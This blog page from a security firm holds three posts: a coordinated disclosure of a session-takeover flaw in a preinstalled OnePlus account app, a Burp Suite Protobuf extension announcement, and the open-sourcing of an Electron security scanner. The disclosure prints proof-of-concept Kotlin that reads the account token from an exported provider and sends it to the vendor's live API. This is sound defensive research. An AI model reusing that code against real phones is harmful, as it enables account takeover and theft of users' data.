Doyensec's Blog

Preinstalled but Not Safe. OnePlus OEM App Session Takeover Vulnerability

Incipit

Bug bounty initiatives can be a useful tool for companies to source security research focused on their products and get ahead of attackers. From a security researcher’s perspective, it’s a great way to gain experience and contribute to the overall security of the Internet and the products we use every day. However, for the system to work, both parties need to adhere to certain unspoken rules. Researchers should coordinate the disclosure, while vendors need to ensure reasonably and timely responses to reports, bug fixes and transparent disclosure. The problem arises when part of this process breaks down: what should a researcher do with knowledge of an unfixed vulnerability when the vendor repeatedly fails to provide a remediation timeline? We believe that, after a reasonable disclosure period, such vulnerabilities should be made public; otherwise, there is a risk that they remain unfixed indefinitely.

The Vulnerability

This vulnerability resulted from a focused vulnerability research activity targeting some of the OEM applications shipped with the OnePlus 13R Android mobile phone. The goal of this work was to assess the security posture of vendor-specific components that often operate with elevated privileges and are therefore high-value targets for attackers.

Our analysis was performed on the latest publicly available firmware at the time of testing. This post outlines our methodology, highlights the most interesting security issue we identified, and discusses its impact on the OnePlus security model.

OnePlus 13R

Methodology

We began by extracting the APKs shipped with the device and enumerating their exported activities, services and content providers from the applications’ manifests. We then triaged these components based on their accessibility to untrusted applications, the permissions protecting them and the sensitivity of the functionality they exposed.

For the most promising candidates, we decompiled the applications and manually traced the relevant execution paths. Because the code was obfuscated, we combined manual analysis with AI-assisted deobfuscation and data-flow analysis to reconstruct how attacker-controlled inputs were processed and which sensitive values could reach exported interfaces. Finally, we validated the identified behavior dynamically on a physical device and built a dedicated Android application to demonstrate exploitability. Where necessary, we also leveraged Frida to instrument the application’s OkHttp interceptor chain and observe how requests were signed and encrypted before being sent to the OnePlus API. More on using Frida to analyze HTTP traffic can be found in one of our previous blog posts.

Account Takeover

Preinstalled OEM applications are a huge attack surface of any Android ecosystem, including OnePlus. The OnePlus 13R firmware contained 176 preinstalled APKs with a total of 1,824 exported activities. Reviewing every exported component manually would have been impractical, so we prioritized components belonging to applications with sensitive or highly privileged permissions, such as INSTALL_PACKAGES, WRITE_SECURE_SETTINGS, WRITE_SETTINGS and DUMP. We also searched for interesting OnePlus-specific permissions, including com.oneplus.account.READ_ACCOUNT_INFO. This reduced the initial attack surface to approximately 350 exported components for further analysis.

The remainder of this blog post details a vulnerability in the com.oneplus.account OEM application. In its manifest, we identified an exported provider protected by the following permission: com.oneplus.account.READ_ACCOUNT_INFO

<provider
    android:authorities="com.oneplus.account.provider.open"
    android:exported="true" android:name="com.heytap.usercenter.op.sdk.OPAccountProvider"
    android:readPermission="com.oneplus.account.READ_ACCOUNT_INFO"
/>

However, com.oneplus.account.READ_ACCOUNT_INFO was not defined with a signature-level protection. As a result, the provider can be accessed by any application that declares the permission com.oneplus.account.READ_ACCOUNT_INFO in its own manifest.

After decompiling and some deobfuscation effort, we discovered that this provider takes a string command from the caller. Depending on the command given, various account details are served to an untrusted calling application. Most notably, the get_account_oneplus_token command reveals the oldSecondaryToken:

if ("get_account_oneplus_token".equals(command)) {
    if (OPVersionUtil.isVersionInTheInterval(getContext(), callingPackage)) {
        AccountLogUtil.log_info("OPAccountProvider", "get_account_oneplus_token isVersionIn ");
        bundle2.putString("token", a(callingPackage));
    } else {
        bundle2.putString("token", oldSecondaryToken);
    }
    return bundle2;
}

Despite its name, the token represents an authenticated OnePlus Cloud session and can therefore be used by an attacker to impersonate the victim when interacting with the OnePlus Cloud API. We prepared a Proof of Concept (PoC), which uses this token to call a /uc/v1/user-info/update-real-name endpoint, demonstrating the ability to update the victim’s data.

Proof of Concept

This vulnerability can be exploited by a malicious application installed on the victim’s phone. As a PoC, we prepared such an application by declaring the required permissions:

<uses-permission android:name="com.oneplus.account.READ_ACCOUNT_INFO" />
<uses-permission android:name="android.permission.INTERNET" />

The application then calls the vulnerable provider and extracts the sensitive token from its response. Because the permission is not signature-restricted, the malicious application can simply declare it in its own manifest and access the provider without user interaction:

val cr: ContentResolver = context.contentResolver
val AUTHORITY_URI: Uri = Uri.parse("content://com.oneplus.account.provider.open");
val out = cr.call(AUTHORITY_URI, "get_account_oneplus_token", arg, extras)
if (out == null) {
    Log.d(TAG, method + " failed")
} else {
    val token = out.getString("token")
    if (token != null) {
        Log.d(TAG, token!!)
    } else {
        Log.d(TAG, "failed")
    }

Then, the stolen token can be used to access user data in the API:

val request = Request.Builder()
    .url("https://uc-client-fr.oneplus.com/uc/v1/user-info/update-real-name")
    .post(body)
    .addHeader("X-Token", token!!)
    //skipped for brevity
    .build()

val response = client.newCall(request).execute()

Note that a successful request requires additional payload signing and encryption. We will not publish the implementation details.

The following recording demonstrates the exploit in practice:


Impact

We demonstrated that an arbitrary application can steal an authenticated user’s token and use it to access and modify data through the OnePlus Cloud API, effectively resulting in a session takeover. The attack requires no user interaction beyond installing the malicious application; no additional permission prompt or confirmation is required. The vendor decided to assign a high severity to this issue.

Fix

We recommended defining the com.oneplus.account.READ_ACCOUNT_INFO permission with android:protectionLevel="signature". This restricts access to applications signed with the same signing certificate as the OnePlus application, preventing arbitrary third-party applications from accessing OPAccountProvider.

In September 2026, Doyensec retested the vulnerability on the latest OnePlus 13R firmware available at the time, CPH2691_16.0.10.500(EX01). We confirmed that an untrusted application can still access the vulnerable provider and extract the OnePlus account token. We also verified that the leaked token is accepted by the uc-client-fr.oneplus.com API.

Due to changes in OnePlus’ regional mechanisms, however, we were unable to reproduce the final account-data modification shown in the original proof of concept using our US or EMEA account. Therefore, while we confirmed that the underlying vulnerability and token exposure remain present in the latest tested firmware, we did not reproduce the complete end-to-end exploit on that version.

On November 12th, OnePlus confirmed that the vulnerability has been fully addressed.

Timeline

  • 2025-12-30 - Finding disclosed to the vendor as a critical vulnerability 🥳
  • 2026-01-06 - Finding validity confirmed by the vendor and downgraded to high severity 🤔
  • 2026-02-26 - Requested the remediation timeline
  • 2026-02-27 - Vendor responded that fixes usually take 1 to 3 months
  • 2026-03-12 - $720 bug bounty paid 🤔💸🤔
  • 2026-09-09 - The vulnerability was still confirmed on a newest release of the firmware CPH2691_16.0.10.500(EX01) 🫤
  • 2026-09-10 - Public disclosure 🤷‍♂️
  • 2026-09-10 - Following a last-minute request from the affected vendor, we removed the blog post asking for a specific timeline on the fix. Public disclosure still works! 🥳
  • 2026-09-20 - Vendor informed us that the signatures whitelisting enforcement is planned for version 9.24.1 and above after October 15, which should significantly reduce the practical exploitability of the vulnerability
  • 2026-09-22 - Informed the vendor that we’re planning to publish all technical details again on 11/30/2026
  • 2026-11-12 - One SRC Team confirmed that the fix is out
  • 2026-11-30 - Public disclosure (again) 🤷‍♂️ 🤷‍♂️

Introducing ProtoSpector: A Burp Suite Extension for Analyzing, Tampering With, and Testing Protobuf and gRPC Traffic

Testing protocol buffers over HTTP can be a notoriously tedious process. Today, we’re excited to announce ProtoSpector, a Burp Suite extension designed to seamlessly decode and encode Protocol Buffer messages on the fly.

By eliminating the need to constantly switch to external tools or instrumented browser applications, ProtoSpector dramatically accelerates your testing workflow. Whether you want to import an existing Protobuf schema or reverse-engineer descriptors from scratch, this extension gives you the full capability to analyze, tamper with, and test gRPC traffic directly within Burp.

Features

🔄 Intelligent Message Decoding & Encoding

The extension automatically detects supported Protobuf content types and adds a ProtoSpector tab to the request view.

Two testing approaches are supported:

  • White-box Testing: Automatically matches and decodes messages using pre-loaded .proto schemas (.pb descriptor files compiled via protoc).

  • Black-box Testing: If no schema is found, it automatically infers the underlying structure, allowing you to view and fully edit the decoded message for outgoing requests (e.g., inside the Repeater tool).

ProtoSpector Request Tab

🛠️ Dynamic Signature Editing

For black-box testing scenarios, the ProtoSpector tab includes an interactive fields table that displays inferred message descriptors.

  • Inline Editing: Easily update field names or data types on the fly by clicking directly into the table cells.
  • Type Previewing: Instantly preview how any field renders when interpreted as a different data type, using the built-in selector. If a preview fails, it is typically due to an incompatibility, such as having insufficient bytes to parse the data into a larger type.

ProtoSpector Type Previewer

  • Toggleable Interface: The signature editing table can be hidden or shown at any time via the Settings tab.

🗺️ Advanced Schema & Method Management

  • Global Extension Tab: Deeply inspect, manage, and customize the signature of every loaded method descriptor across your entire session.

ProtoSpector Global Tab

  • gRPC Automation: Once a .pb file is loaded, you can select any gRPC method from the central list, right-click, and seamlessly Send to Repeater to automatically structure your request.

  • Auto-Generation: Clicking the ProtoSpector tab on an unknown request automatically generates and populates the global Method Descriptors tab with a brand-new descriptor.

Current Limitations & Roadmap

While the current version has some limitations, we are actively addressing them. Our immediate priorities include:

  • Expanded Content Type Support: We currently only support application/grpc-web+proto, application/grpc-web-text, and raw Protobuf (application/x-protobuf, application/protobuf, application/x-google-protobuf, application/vnd.google.protobuf). Future updates will expand support to include additional gRPC and Protobuf content types.

  • Enhanced Descriptor Management: Persistence functionality is currently limited when importing standalone Protobuf descriptors, which also cannot be edited at this time.

  • Refining Black-box Decoding Type Preview: We plan to refine type previewing to limit suggestions exclusively to valid field types. While repeated fields currently decode correctly, we plan to address intermittent failures in the type preview logic.

Contributing

We’d love to hear how you use ProtoSpector and what could make it better for your workflow. Whether it’s a bug report, a feature idea, or just general feedback, don’t hesitate to open an issue on GitHub or reach out on social media (@Doyensec). Pull requests are also very welcome!


ElectroNG is now open source!

ElectroNG is now free and open source! Today we are releasing both the desktop application and its core analysis engine under the Apache License 2.0, opening up years of Doyensec’s work on Electron application security to the community.

ElectroNG is now free and open source

Why we are open-sourcing ElectroNG

We launched ElectroNG in September 2022 as a commercial static application security testing (SAST) tool for Electron applications. It grew out of our experience auditing Electron apps and developing Electronegativity, with the goal of turning that research into a more capable scanner and an easier workflow for developers and security researchers.

We are proud of what we built. However, despite our best efforts, we could not build a customer base large enough to sustain its development, and we stopped selling licenses in June 2025. Rather than letting the project fade away, we decided to release the source code and give ElectroNG a future shaped by the people who use it: developers securing their applications, researchers building new checks, and teams incorporating Electron security into their work.

This is a significant milestone for Doyensec. From our Electron security research at Black Hat USA 2017 to the release of Electronegativity in 2019 and ElectroNG in 2022, we have invested years in understanding how Electron applications break and how to help secure them. We are excited to make the next stage of that work an open-source effort.

The code is available in two repositories:

  • ElectroNG: the desktop application (user interface, project management, and reporting).
  • ElectroNG-core: the scanning engine, including all the security checks, the knowledge base, and the Electron vulnerability database.

Both are free to use for any purpose, including commercial work. There are no license keys and no usage limits.

What ElectroNG adds to Electronegativity

Electronegativity started as a command-line tool to help developers and auditors identify insecure configurations and security anti-patterns in Electron applications. ElectroNG builds on that foundation with improved analysis and a desktop interface for investigating the results.

The ElectroNG findings view, showing the list of findings, the details of the selected finding, and the affected source code

The main differences are:

Area Electronegativity ElectroNG
Workflow Command-line scanning, programmatic use, and CI integration A desktop application for managing projects, configuring scans, and investigating findings
Detection AST and DOM analysis of Electron configurations and security anti-patterns Improved HTML, JavaScript, and TypeScript parsing, revised heuristics, and around 60 checks
Electron versions Version detection, version overrides, and upgrade checks Version-aware checks, plus a database of more than 650 known Electron vulnerabilities
Application inspection Findings surfaced through command-line output and reports An inventory of BrowserWindow and BrowserView security settings
Reviewing findings Severity and confidence filters, with CSV and SARIF output In-app triage to validate findings, mark false positives, adjust severity, and add notes, with PDF, HTML, XLSX, CSV, and SARIF reports

Try out ElectroNG

The easiest way to try ElectroNG is to download the latest build for macOS or Windows from the Releases page. Create a project, import the target, and start a scan; the default configuration works without any setup. The ElectroNG website hosts the quickstart guide, documentation, and FAQ.

Automatic updates are disabled by default: ElectroNG does not check for or download updates unless you opt in from the application menu.

If you prefer to build from source, or want to hack on the tool, the ElectroNG README explains how to build the core engine and run the desktop application locally. ElectroNG-core can also be used on its own as a library, although its API is primarily designed around the needs of the desktop app.

The future and how to contribute

We want to be clear about the project’s starting point:

ElectroNG’s last substantial development work took place in 2024, followed by smaller bug fixes. Its detection capabilities need updating for modern Electron applications, and results on recent versions can be incomplete or noisy.

Opening the source gives us an opportunity to address that gap together. Our goal is to modernize the tool, improve its detection capabilities, and make ElectroNG a go-to security scanner for Electron applications again.

Electronegativity is now archived, and we encourage its users and contributors to help move ElectroNG forward.

There are several areas where contributions would make a meaningful difference:

  • Update Electron coverage. Bring checks in line with current APIs, security defaults, and application patterns.
  • Improve detection. Add checks for new vulnerability classes, reduce false positives, and improve how the scanner handles JavaScript and TypeScript code found in real applications.
  • Modernize the codebase. Help update dependencies, parsing, and the build process so the project is easier to run and maintain.
  • Add regression tests. Small examples of vulnerable and secure code can help demonstrate a missed issue, reproduce a false positive, and keep future changes from reintroducing bugs.
  • Improve the experience. Better CI/CD setup instructions, check documentation, reporting, and interface improvements all make the tool more useful.

New checks and changes to the scanning logic belong in ElectroNG-core, while changes to the desktop interface belong in ElectroNG. We welcome issues, pull requests, and ideas in both repositories.

Thank you to everyone who contributed to Electronegativity, helped build ElectroNG, supported the commercial product, or shared research that made these tools better. We are proud to put this work in the community’s hands, and we look forward to seeing what we can build together.